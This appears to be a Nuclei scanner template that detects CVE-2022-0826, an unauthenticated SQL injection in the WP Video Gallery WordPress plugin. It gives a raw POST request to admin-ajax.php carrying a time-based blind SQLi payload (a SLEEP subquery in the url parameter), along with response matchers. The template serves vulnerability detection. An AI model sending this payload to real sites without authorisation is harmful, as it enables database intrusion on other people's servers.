id: CVE-2022-0826 info: name: WP Video Gallery <= 1.7.1 - Unauthenticated SQLi author: theamanrawat severity: critical description: | The WP Video Gallery WordPress plugin through 1.7.1 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users. reference: - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5 - https://wordpress.org/plugins/wp-video-gallery-free/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0826 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0826 cwe-id: CWE-89 metadata: verified: true tags: cve2022,wp-plugin,wpscan,cve,wordpress,wp,sqli,wp-video-gallery-free,unauth requests: - raw: - | @timeout: 15s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523 matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "Registred videos :")' condition: and